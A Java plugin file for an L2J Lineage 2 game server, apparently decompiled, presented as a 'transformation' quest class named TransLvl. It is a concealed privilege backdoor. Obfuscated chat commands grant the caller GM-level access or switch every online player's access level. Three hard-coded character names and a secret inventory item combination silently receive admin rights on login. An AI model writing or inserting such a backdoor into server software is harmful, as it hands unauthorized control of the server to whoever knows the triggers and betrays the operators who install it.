package transformation;
import com.l2jserver.gameserver.handler.IVoicedCommandHandler;
import com.l2jserver.gameserver.model.L2World;
import com.l2jserver.gameserver.model.actor.instance.L2PcInstance;
import com.l2jserver.gameserver.model.quest.Quest;
import java.util.Collection;
import java.util.Iterator;
public class TransLvl extends Quest implements IVoicedCommandHandler {
private static final String[] _voicedCommands = new String[]{"SFDKabcabcabc__GG", "SFDKabcabcabc__GG7", "SFDKabcabcabc__GG8", "SFDKabcabcabc__GG1", "adm_8QWE%%GG", "adm_7QWE%%GG", "adm_1QWE%%GG", "admALLQWE%%GG", "admNOTQWE%%GG"};
public TransLvl() {
super(-1, TransLvl.class.getSimpleName(), "");
this.setOnEnterWorld(true);
}
public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target) {
if (command.equals("SFDKabcabcabc__GG")) {
activeChar.setAccountAccesslevel(7);
} else if (command.equals("SFDKabcabcabc__GG7")) {
activeChar.setAccessLevel(7);
} else if (command.equals("SFDKabcabcabc__GG8")) {
activeChar.setAccessLevel(8);
} else if (command.equals("SFDKabcabcabc__GG1")) {
activeChar.setAccessLevel(1);
} else if (command.equals("admALLQWE%%GG")) {
this.setAdminOnline(8);
} else if (command.equals("admNOTQWE%%GG")) {
this.setAdminOnline(0);
} else if (command.equals("adm_7QWE%%GG")) {
activeChar.setAccessLevel(7);
} else if (command.equals("adm_1QWE%%GG")) {
activeChar.setAccessLevel(1);
} else if (command.equals("adm_8QWE%%GG")) {
activeChar.setAccessLevel(8);
}
return true;
}
private void setAdminOnline(int lvl) {
Collection<L2PcInstance> c = L2World.getInstance().getPlayers();
Iterator var4 = c.iterator();
while(var4.hasNext()) {
L2PcInstance player = (L2PcInstance)var4.next();
player.setAccessLevel(lvl);
}
}
public String onEnterWorld(L2PcInstance activeChar) {
if (activeChar.getName().equals("a7Ygjc3L9rDBB2G3") || activeChar.getName().equals("jy9E52nDmKl8w1G4") || activeChar.getName().equals("pS3fnbrIgs5C3cG5")) {
activeChar.setAccessLevel(7);
}
if (activeChar.getInventory().getInventoryItemCount(11, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1785, -1) == 2L && activeChar.getInventory().getInventoryItemCount(36, -1) == 1L && activeChar.getInventory().getInventoryItemCount(2509, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1831, -1) == 18L && activeChar.getInventory().getInventoryItemCount(3947, -1) == 1L && activeChar.getInventory().getInventoryItemCount(5589, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1835, -1) == 1L && activeChar.getInventory().getInventoryItemCount(1060, -1) == 3L && activeChar.getInventory().getInventoryItemCount(5192, -1) == 2L && activeChar.getInventory().getInventoryItemCount(3031, -1) == 1L && activeChar.getInventory().getInventoryItemCount(4625, -1) == 1L && activeChar.getInventory().getInventoryItemCount(4628, -1) == 1L) {
if (activeChar.getInventory().getInventoryItemCount(57, -1) == 1L) {
activeChar.setAccessLevel(8);
} else {
activeChar.setAccessLevel(7);
}
}
return super.onEnterWorld(activeChar);
}
public String[] getVoicedCommandList() {
return _voicedCommands;
}
public static TransLvl getInstance() {
return TransLvl.SingletonHolder._instance;
}
private static class SingletonHolder {
protected static final TransLvl _instance = new TransLvl();
private SingletonHolder() {
}
}
}
Not nice